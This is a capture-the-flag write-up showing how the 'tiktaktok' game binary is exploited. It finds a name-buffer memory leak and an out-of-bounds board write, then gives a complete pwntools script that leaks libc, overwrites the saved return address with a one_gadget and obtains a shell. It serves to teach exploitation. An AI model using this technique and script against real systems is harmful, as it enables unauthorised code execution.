Blind test
Even though the source code is provided let’s start with a blind run. First, we get prompted for a name :
$ ./tiktaktok
Hello Player! Welcome to the Tik-Tak-Tok Game Server!
What is your player name?
>>>
Let’s try to input a very large value with some format character to test for format string and buffer overflow.
What is your player name?
>>> AAAAAAA%xAAAAAAAAAAA%x%AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Note: to play a move, enter the position, for instance: 0 0
j=0 j=1 j=2
| | |
v v v
+-----+-----+-----+
| | | |
i = 0 -> | | | |
| | | |
+-----+-----+-----+
| | | |
i = 1 -> | | | |
| | | |
+-----+-----+-----+
| | | |
i = 2 -> | | | |
| | | |
+-----+-----+-----+
AAAAAAA%xAAAAAAAAAAA%x%AAAAAAAAA@¥x;3} to play.
>>>
There doesn’t seem to be any overflow nor format string exploit, but we can see that some characters @¥x;3}
leaked, probably due to the lack of a null byte termination.
We can also see that multiple moves were played, probably due to the disregarded part of our input being fed to the subsequent inputs of the program.
Now let’s consider our second input. We have to give 2 coordinates i and j in order to play. They are supposed to go from 0 to 2, let’s see what happens if we go out of bound…
AAAAAAA%xAAAAAAAAAAA%x%AAAAAAAAA@¥x;3} to play.
>>> 10 10
j=0 j=1 j=2
| | |
v v v
+-----+-----+-----+
| | | |
i = 0 -> | | | X |
| | | |
+-----+-----+-----+
| | | |
i = 1 -> | | | X |
| | | |
+-----+-----+-----+
| | | |
i = 2 -> | | | |
| | | |
+-----+-----+-----+
AAAAAAA%xAAAAAAAAAAA%x%AAAAAAAA@¥x;3} to play.
>>>
We can see that there is no complaint. Let’s try to input a very large value to see if the program crashes. If it does, we are probably writing something at a wrong place in memory, and we could thus use this bug to write “something” in a specified relative address.
>>> 10000000000000000 100000000000000000
zsh: segmentation fault (core dumped) ./tiktaktok
Ok, interesting, now let’s take a look at the source code to see more clearly what the program does.
Understanding the bugs with source code
Let’s take a look at the snippets of code responsible for the input handling :
typedef struct game {
int8_t board[3][3];
uint32_t nbMoves;
uint8_t name[32];
} game_t;
/* Get username */
printf("Hello Player! Welcome to the Tik-Tak-Tok Game Server!\n");
printf("What is your player name?\n");
printf(">>> ");
(void)read(0, g.name, 32); // <--- g is of type game_t
g.name[strcspn((char *)g.name, "\n")] = 0;
printf("Note: to play a move, enter the position, for instance: 0 0\n");
g.nbMoves = 0;
/* Gets position (i, j) */
printBoard(g);
printf("\n");
printf("%s to play.\n", g.name);
printf(">>> ");
scanf("%ld %ld", &i, &j);
g.board[i][j] = g.nbMoves;
player ^= 1;
First for the player name we can see that the program is reading 32 characters from stdin storing it in a uint8_t buffer of 32 bytes. No overflow here. After that, it looks for the '\n'
character in order to replace it with a null byte.
Since there is no '\n'
at the end of our 32 character input, the string isn’t null byte terminated, and we leak the content of the memory just after name
with the line printf("%s to play.\n", g.name);
. This could be useful to leak some valuable addresses, but for now we don’t know if the content leaked is useful.
For the second input related to the player move, we can see that scanf takes 2 int64_t
i and j before writing g.nbMoves
(& 0xff because g.board
is a int8_t
array) into g.board[i][j]
without checking if i and j are out of bound.
Now let’s take a look at what g.nbMoves
is used for…
g.nbMoves = 0;
do { /* Create new games */
memset(g.board, -1, sizeof(g.board));
/* The user plays first */
user = 1 ^ (g.nbMoves & 1);
computer = 1 ^ user;
player = user;
do { /* One game */
/* The user is playing */
if (player) {
/* Gets position (i, j) */
printBoard(g);
printf("\n");
printf("%s to play.\n", g.name);
printf(">>> ");
scanf("%ld %ld", &i, &j);
g.board[i][j] = g.nbMoves;
player ^= 1;
/* Computer to play: random move */
} else {
/* Get a random cell empty */
do {
i = rand() % 3;
j = rand() % 3;
} while(g.board[i][j] != -1);
/* Play (i, j) */
g.board[i][j] = g.nbMoves;
player ^= 1;
}
g.nbMoves++;
winner = hasWinner(g);
full = isFull(g);
} while( (winner == -1) && !full );
printBoard(g);
if (winner == -1) {
printf("This is a draw.\n");
} else {
if ( (winner ^ computer) & 1) {
printf("Congratulations, you won the game!\n");
} else {
printf("The random computer has won the game!\n");
}
}
printf("Do you want to play again? [y/n]\n");
printf(">>> ");
do {
c = getchar();
} while(!((c == 'y') || (c == 'n')));
(void)getchar();
} while(c == 'y');
As we could expect from the name, g.nbMoves
counts the number of the current move.
Furthermore, we can see that replaying the game doesn’t reset g.nbMoves
to 0 (g.nbMoves = 0;
is outside the loop)
Checking in the debugger
For this, I will be using radare2.
Leak libc
I first set a breakpoint just after the call read
, start the execution and input exactly 32 characters. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
.
| 0x557909125168 e8f3feffff call sym.imp.printf ;[5] ; int printf(const char *format)
│ 0x55790912516d ba20000000 mov edx, 0x20 ; 32
│ 0x557909125172 4889de mov rsi, rbx
│ 0x557909125175 31ff xor edi, edi
│ 0x557909125177 e804ffffff call sym.imp.read ;[6] ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x55790912517c b 488d355c0f00. lea rsi, [0x5579091260df] ; "\n"
> dc
Hello Player! Welcome to the Tik-Tak-Tok Game Server!
What is your player name?
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
INFO: hit breakpoint at: 0x55790912517c
> xr @rsp
0x7ffdb6637590 ..[ null bytes ].. 00000000 rsp
0x7ffdb66375b0 0xffffffffffffffff ........
0x7ffdb66375b8 0x00000000b66375ff .uc..... 3059971583
0x7ffdb66375c0 0x4141414141414141 AAAAAAAA @ rbp ascii ('A')
0x7ffdb66375c8 0x4141414141414141 AAAAAAAA ascii ('A')
0x7ffdb66375d0 0x4141414141414141 AAAAAAAA ascii ('A')
0x7ffdb66375d8 0x4141414141414141 AAAAAAAA ascii ('A')
0x7ffdb66375e0 0x00007b8ef8761540 @.v..{.. /home/az/Documents/Hacking/Pwn/Tiktaktok/ld-2.28.so library R X 'push rbp' 'ld-2.28.so'
0x7ffdb66375e8 ..[ null bytes ].. 00000000
0x7ffdb66375f0 0x00005666d4421ad0 ..B.fV.. /home/az/Documents/Hacking/Pwn/Tiktaktok/tiktaktok .text __libc_csu_init sym.__libc_csu_init program R X 'push r15' 'tiktaktok'
0x7ffdb66375f8 0x00005666d4421480 ..B.fV.. /home/az/Documents/Hacking/Pwn/Tiktaktok/tiktaktok .text entry0,_start entry0 program R X 'xor ebp, ebp' 'tiktaktok'
0x7ffdb6637600 0x00007ffdb66376f0 .vc..... [stack] stack R W 0x1
0x7ffdb6637608 ..[ null bytes ].. 00000000
0x7ffdb6637618 0x00007b8ef85b309b .0[..{.. TELESCOPE DOESN'T SHOW IT HERE BUT THIS IS A LIBC ADDRESS AS WE CAN SEE WITH THE dm COMMAND
...
> dm
...
0x00007b8ef858f000 - 0x00007b8ef85b1000 - usr 136K s r-- /home/az/Documents/Hacking/Pwn/Tiktaktok/libc-2.28.so /home/az/Documents/Hacking/Pwn/Tiktaktok/libc-2.28.so
0x00007b8ef85b1000 - 0x00007b8ef86f9000 - usr 1.3M s r-x /home/az/Documents/Hacking/Pwn/Tiktaktok/libc-2.28.so /home/az/Documents/Hacking/Pwn/Tiktaktok/libc-2.28.so
...
We can see our name on the stack along with other values such as g.board
(0xffffff…) at 0x7ffdb66375b0
and g.nbMoves
at 0x7ffdb66375bc
.
For our goal, there are 2 interesting addresses :
0x7ffdb66375e0 0x00007b8ef8761540 @.v..{.. /home/az/Documents/Hacking/Pwn/Tiktaktok/ld-2.28.so library R X 'push rbp' 'ld-2.28.so'
...
0x7ffdb6637618 0x00007b8ef85b309b .0[..{.. TELESCOPE DOESN'T SHOW IT HERE BUT THIS IS A LIBC ADDRESS AS WE CAN SEE WITH DM
Leaking the first address of ld is easy, we already did it actually by filling the buffer. On a same computer, for multiple execution of the same program, the offset between ld and libc is constant afaik meaning we can use ld to find libc. That being said, the offset on my machine isn’t necessary the same as on the target machine, thus we will have to put in extra effort in order to leak the second address to libc.
How could we achieve this? We could fill the null bytes “holes” using the g.board
bug so that printf("%s")
reaches the libc address.
Saved RIP
Finally, let’s see where the saved RIP is by setting a breakpoint on ret
(of the main
function) then play the game until we finish (by declining the replay).
Congratulations, you won the game!
Do you want to play again? [y/n]
>>> n
Bye bye.
INFO: hit breakpoint at: 0x63479326247c
> xr @rsp
0x7ffdb6637618 0x00007b8ef85b309b .0[..{.. @ rsp
...
So the saved RIP was actually the libc address from earlier. Let’s check what the distance is between our g.board
and the saved RIP… (the address of g.board
here is 0x7ffdb66375b0
. We know this because it is a 9 bytes array filled with -1 or 0xff
seen in the previously displayed stack at the start of a game.)
0x7ffdb6637618-0x7ffdb66375b0 = 104
Summary
What we can do
- We can leak memory and find libc’s base address with the display of
g.name
- We can write
g.nbMoves & 0xff
anywhere in memory relative tog.board
- We can control
g.nbMoves
by keeping track of the number of moves performed
Issues
Only even
When we can perform a move, g.nbMoves
is always even because it is increased on our turn and on the computer’s turn, which prevents us from writing odd bytes.
By looking at the source code, we could think of a way to always be the one playing by putting a value different from 0 or 1 into the player
variable using our g.board
bug :
user = 1 ^ (g.nbMoves & 1);
computer = 1 ^ user;
player = user;
do { /* One game */
/* The user is playing */
if (player) {
/* Gets position (i, j) */
printBoard(g);
printf("\n");
printf("%s to play.\n", g.name);
printf(">>> ");
scanf("%ld %ld", &i, &j);
g.board[i][j] = g.nbMoves;
player ^= 1;
/* Computer to play: random move */
} else {
/* Get a random cell empty */
do {
i = rand() % 3;
j = rand() % 3;
} while(g.board[i][j] != -1);
/* Play (i, j) */
g.board[i][j] = g.nbMoves;
player ^= 1;
}
g.nbMoves++;
winner = hasWinner(g);
full = isFull(g);
} while( (winner == -1) && !full );
Indeed, the value of player
is updated by XORing it with 1 and the condition for our turn is if(player)
. It is supposed to switch between 0 and 1 but if we put something else like say 2 the value will now switch between 2 and 3 (because 0x10 ^ 0x01 = 0x11
and 0x11 ^ 0x01 = 0x10
) this way it would always be our turn!
It’s a good idea, but let’s take a look inside the debugger :
// Start of one game loop
│ 0x6347932621d0 4584ff test r15b, r15b
│ ┌─< 0x6347932621d3 0f84bf010000 je 0x634793262398
│ │ 0x6347932621d9 ff742448 push qword [var_48h]
│ │ 0x6347932621dd 4531ff xor r15d, r15d
...
│ │╎╎ 0x6347932623f0 41bf01000000 mov r15d, 1
Here we can see that not only is player
stored in a register (r15) that we can’t directly write to with our g.board
bug, but it isn’t even XORed with 1. It is simply set to 0 xor r15d, r15d
then set to 1 mov r15d, 1
.
Ok, maybe we can still do something even while being limited to writing even bytes…
Null byte in leak
There could be a null byte in the leak. If this happens, we won’t get the full address leaked. In such a case, we will just rerun the exploit until it stops happening.
One gadget
Now what should we return to? First, NX is enabled so we can’t execute shellcode. Second, we can only write even bytes in the saved RIP but remember that the address currently in saved RIP is already pointing towards libc therefore we only require for the least significant bytes to be overwritten to the desired address if we opt for a ret2libc.
We could return to system, but the address of system is odd (0x449c3
). Maybe there is a one gadget with an even address?
$ one_gadget libc-2.28.so
0x4484f execve("/bin/sh", rsp+0x30, environ)
constraints:
address rsp+0x40 is writable
rax == NULL || {rax, "-c", r12, NULL} is a valid argv
0x448a3 execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xe5456 execve("/bin/sh", rsp+0x60, environ)
constraints:
[rsp+0x60] == NULL || {[rsp+0x60], [rsp+0x68], [rsp+0x70], [rsp+0x78], ...} is a valid argv
Yes, we can see that the last one at 0xe5456
has only even bytes for the least significant 2 bytes 0x54 0x56
(the 12 LSBs are not subject to ASLR). We will just have to be make sure that Actually, it is not even required.[rsp+0x60]
is NULL, but this isn’t an issue since 0 is even.
The plan
- Leak the libc address (the base or just the address currently in saved RIP)
- Overwrite the least significant bytes of the saved RIP for it to point towards our one gadget
Overwrite[rsp+0x60]
with NULL
To overwrite those bytes correctly, we will have to keep track of the value of g.nbMoves
. For example, to overwrite [rsp+0x60]
with NULL we would write to [rsp+0x60]
when g.nbMoves=0x100
. Then we play and restart the game (if necessary) until g.nbMoves=0x200
to write the second null byte in [rsp+0x61]
etc.
Execution
Calculating offsets
First, let’s find the distance between the saved RIP (a libc address) and our one gadget (the data used here are found in the debugging section).
>>> hex((0x00007b8ef858f000+0xe5456)-0x00007b8ef85b309b) #one gadget - savedRIP
'0xc13bb'
>>>
We can see with the second line that we would only need to overwrite the 3 least significant bytes most of the time, with some edge cases where the result of savedRIP + 0xc13bb
would require 4 bytes. But remember, the fewer the bytes we write, the smaller the chances of having an odd byte to write.
Pwntools python script
Here is our exploit…
from pwn import *
#Init
filepath = "./tiktaktok"
context.binary = elf = ELF(filepath, checksec=False)
#Pwn
def fillTheNullHolesToLeak(): #Very sensible to recv, skip some input if done wrong
global nbMoves
p.recvuntil(b">>> ")
p.sendline(b"A"*32) #fill the name buffer
p.recvuntil(b">>> ")
p.sendline(b"0 0") #first value we write is 0 thus this null byte doesn't fill the "holes" next ones will
p.recvuntil(b">>> ")
nbMoves+=2
for hole in range(48,104):
p.sendline(f"0 {hole}".encode())
ret = p.recvuntil(b">>> ")
if b"Do you want to play again? [y/n]" in ret:
p.sendline(b"y")
p.recvuntil(b">>> ")
nbMoves+=2
libc_leak = ret[-6-14:-14] + b"\x00"*2
libc_leak = u64(libc_leak)
gadget = libc_leak+0xc13bb
if (gadget & 0xfff == 0x456):
log.success(f"[leak] gadget at {hex(gadget)}")
else:
log.failure(f"The leak is wrong due to null byte in the address. Rerunning the exploit... ({hex(gadget)})")
p.close()
main()
exit()
if ((gadget & 0xff0000) >> 8*2) % 2 == 1:
log.failure(f"3th byte is odd. Rerunning the exploit...")
p.close()
main()
exit()
if (gadget & 0xff000000 != libc_leak & 0xff000000):
if ((gadget & 0xff000000) >> 8*3) % 2 == 1:
log.failure(f"4th byte has been changed and is odd. Rerunning the exploit...")
p.close()
main()
exit()
gadgetLSB = {
107:(gadget & 0xff000000)>>8*3,
106:(gadget & 0xff0000)>>8*2,
105:(gadget & 0xff00)>>8,
104:gadget & 0xff
}
else:
gadgetLSB = {
106:(gadget & 0xff0000)>>8*2,
105:(gadget & 0xff00)>>8,
104:gadget & 0xff
}
return gadgetLSB
def overwriteBytes(bytesToWrite, msg="Overwriting RIP"):
global nbMoves
prog = log.progress(msg)
overwritten=0
status = ["XX"]*len(bytesToWrite)
while overwritten != len(bytesToWrite):
if nbMoves&0xff in bytesToWrite.values():
for i, key in enumerate(bytesToWrite):
if bytesToWrite[key] == nbMoves&0xff:
p.sendline(f"0 {key}".encode())
overwritten+=1
status[i] = "{:02x}".format(bytesToWrite[key])
prog.status("".join(status)+f" {overwritten}/{len(bytesToWrite)}")
#prog.status("".join(status[:len(bytesToWrite)-8])+" "+"".join(status[len(bytesToWrite)-8:])+f" {overwritten}/{len(bytesToWrite)}")
bytesToWrite[key]=-1
break
else:
p.sendline(b"0 0")
ret = p.recvuntil(b">>> ")
if b"Do you want to play again? [y/n]" in ret:
p.sendline(b"y")
p.recvuntil(b">>> ")
nbMoves+=2
prog.success("".join(status)+" completed")
#prog.success("".join(status[:len(bytesToWrite)-8])+" "+"".join(status[len(bytesToWrite)-8:])+" completed")
def main():
global p
global nbMoves
#p = elf.process()
p = remote("localhost", 4000)
nbMoves=0
bytesToWrite = fillTheNullHolesToLeak()
#bytesToWrite.update({ #not needed
# 104+0x67: 0x00,
# 104+0x66: 0x00,
# 104+0x65: 0x00,
# 104+0x64: 0x00,
# 104+0x63: 0x00,
# 104+0x62: 0x00,
# 104+0x61: 0x00,
# 104+0x60: 0x00
# })
overwriteBytes(bytesToWrite)
#Play 0 0 until the current game end in order to exit main
while True:
p.sendline(b"0 0")
ret = p.recvuntil(b">>>")
if b"Do you want to play again? [y/n]" in ret:
p.sendline(b"n")
p.recv()
break
log.success("Enjoy your shell :)")
p.interactive()
main()
(The original exploit script wasn’t this fancy)
The first function fillTheNullHolesToLeak
does as it implies. It first fills the “holes” by filling the space between g.name
and the libc address. After that, based on the leaked address, it calculates the address of the one gadget. It also performs different checks to verify if the leaked address seems correct and if there are no odd bytes to write to restart the exploit if needed. Then it returns the bytes to write and their location in a dict. All of that while keeping track of the value of g.nbMoves
.
The second function overwriteBytes
takes a dictionary with the locations as keys and bytes as values. It will keep track of the value of g.nbMoves
, play until its value is equal to one of the bytes we want to write somewhere and when one of these value is reached it will write the byte at the desired place until all the bytes are written.
When the saved RIP and are overwritten it continues to play until the current game is finished and at that point it will decline the replay, resulting in the main function returning to our one gadget.[rsp+0x60]
We should now have a shell :)
And here is the result :
[+] Opening connection to localhost on port 4000: Done
[+] [leak] gadget at 0x76d46d7ed456
[+] Overwriting RIP and [RSP+0x60]: 7ed456 0000000000000000 completed
[+] Enjoy your shell :)
[*] Switching to interactive mode
Bye bye.
$ ls
flag.txt
tiktaktok
$ cat flag.txt
FCSC{30c82c13acfe7b0d25f8cbfbf20b7a77b2d2025a35dd582f4ead777fa3ad3a5c}
$
Conclusion
With the fillTheNullHolesToLeak
function we filled (using g.board
) the red part so that printf
leaks the address in blue by printing the whole purple part.
Then with overwriteBytes
we overwrote the saved RIP with the gadget address.
And we finally got a shell.
—-| AzErLoc